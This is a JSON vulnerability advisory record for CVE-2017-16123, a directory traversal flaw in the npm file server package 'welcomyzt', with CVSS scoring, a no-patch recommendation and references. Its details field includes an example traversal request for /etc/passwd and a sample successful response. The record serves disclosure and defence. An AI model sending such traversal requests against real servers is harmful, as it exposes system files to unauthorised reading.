{"id":"CVE-2017-16123","aliases":[],"url":"https://o3.security/vulnerability/CVE-2017-16123","summary":"Directory Traversal in welcomyzt","details":"`welcomyzt` is a simple file server.\n\n`welcomyzt` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing `../` in the url.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost: localhost\n```\n and server Response:\n```http\nHTTP/1.1 200 OK\nDate: Thu, 04 May 2017 23:59:18 GMT\nConnection: keep-alive\nTransfer-Encoding: chunked\n\n{contents of /etc/passwd}\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.","published":"2020-09-01T17:23:53Z","modified":"2023-11-08T03:59:06.195567Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"welcomyzt","fixedVersion":null}],"fix":null,"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-16123"},{"type":"WEB","url":"https://github.com/JacksonGL/NPM-Vuln-PoC/blob/master/directory-traversal/pooledwebsocket"},{"type":"WEB","url":"https://www.npmjs.com/advisories/388"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2023-11-08T03:59:06.195567Z"}}